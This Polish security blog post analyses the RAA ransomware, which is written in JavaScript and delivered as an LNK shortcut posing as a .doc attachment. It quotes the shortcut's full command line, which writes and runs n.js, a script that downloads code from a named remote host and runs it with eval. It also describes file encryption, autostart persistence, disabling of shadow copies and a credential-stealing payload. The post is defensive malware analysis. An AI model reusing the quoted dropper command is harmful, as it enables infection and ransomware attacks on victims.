środa, 13 lipca 2016

Złośliwe oprogramowanie w JavaScript


Nie tak dawno opisywaliśmy prosty sposób na szyfrowanie plików exe pobieranych przez sieć za pomocą javascript [2].

Okazuje się, że nie trzeba było długo czekać na realne ataki, które stosują podobną technikę. Co więcej złośliwe oprogramowanie (ransomware o nazwie RAA) napisane jest w całości w javascript a zakodowany plik exe jest tylko opcjonalnym komponentem.

Plik infekujący rozsyłany jest jako załącznik do wiadomości email. Plik „podszywający się” pod dokument doc jest skrótem LNK. 



Jeśli podejrzymy właściwości pliku okaże się, że pole target zawiera następującą komendę:

% windir % \system32\ cmd.exe / c REM. > n.js & echo 
var m = ["Msxml2.ServerXMLHTTP.6.0", "GET", "http://datagiverd.com/src/gate.php?a", "open", "send", "responseText"];
var bb = new ActiveXObject(m[0]);
bb[m[3]](m[1], m[2], false);
bb[m[4]]();
eval(bb[m[5]]); > n.js & n.js

Jej celem jest utworzenie i uruchomienie w katalogu TEMP pliku javascript o nazwie n.js.

W pliku lnk znajduje się też bardzo duży binary ciąg danych (od offsetu 2111). Nasza analiza nie wykazała, aby ten fragment był przydatny - możliwe, że celem jest wyłącznie "oszukanie" systemów AV.


Po uruchomieniu plik n.js pobiera kolejne skrypty (część z nich jest zaszyfrowanych). Istotnym elementem pobieranych danych jest biblioteka javascript cryptojs która posiada między innymi funkcje kryptograficzne AES:

Fragment odpowiadający za szyfrowanie plików:


Fragment, który dodaje skrypt n.js do punktu autostart:


Wyłączana jest również usługa Volume Shadow Copy (VSS):


Więcej inforamcji na temat działania poszczególnych elementów js dostępny jest tutaj [1].

Ostatnim elementem jest odkodowanie i uruchomienie pliku EXE – złośliwego oprogramowania wykradającego dane uwierzytelniające. Poniżej fragment odszyfrowanego kodu odpowiadającego za odkodowanie i uruchomienie pliku malware kk.exe.


Źródła:
 

Brak komentarzy:

Publikowanie komentarza